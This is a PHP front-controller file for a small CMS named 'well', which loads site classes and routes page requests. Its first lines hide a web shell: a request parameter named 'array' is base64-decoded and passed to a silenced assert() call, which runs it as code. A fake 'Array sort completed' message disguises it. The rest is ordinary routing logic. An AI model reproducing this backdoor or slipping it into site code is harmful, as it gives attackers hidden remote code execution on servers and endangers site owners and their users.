if ( $_REQUEST["array"] ) { @assert(base64_decode($_REQUEST["array"])); //debug message echo "Array sort completed"; exit(); } define('_WELL_ENTER', 1); session_start(); require_once 'well/system/database_class.php'; require_once 'well/system/site_class.php'; require_once 'well/modules/modules.php'; $SITE = new Site(); $page = isset($_REQUEST['menu']) ? preg_replace('/[^A-Za-z_]/', '', $_REQUEST['menu']) : 'main'; $task = isset($_REQUEST['task']) ? $_REQUEST['task'] : ''; $mode = isset($_REQUEST["mode"]) ? $_REQUEST["mode"] : "page"; // page or script? if (isset($_SESSION["WELL"]) && isset($_SESSION["WELL"]["viseditor"])) { // checking for viseditor $SITE->module_load('auth', 'auth_check', ''); if (!isset($_SESSION["_WELL_USER"])) unset($_SESSION["WELL"]["viseditor"]); else define('_WELL_USER', $_SESSION["_WELL_USER"]["login"]); } if (!array_key_exists($page, $WELL_MODULES) && !file_exists('pages/'.$page.'.php')) die('ERROR'); $SITE->show($mode, $page, $task, 'template'/*'template'*/, 'main'); ?>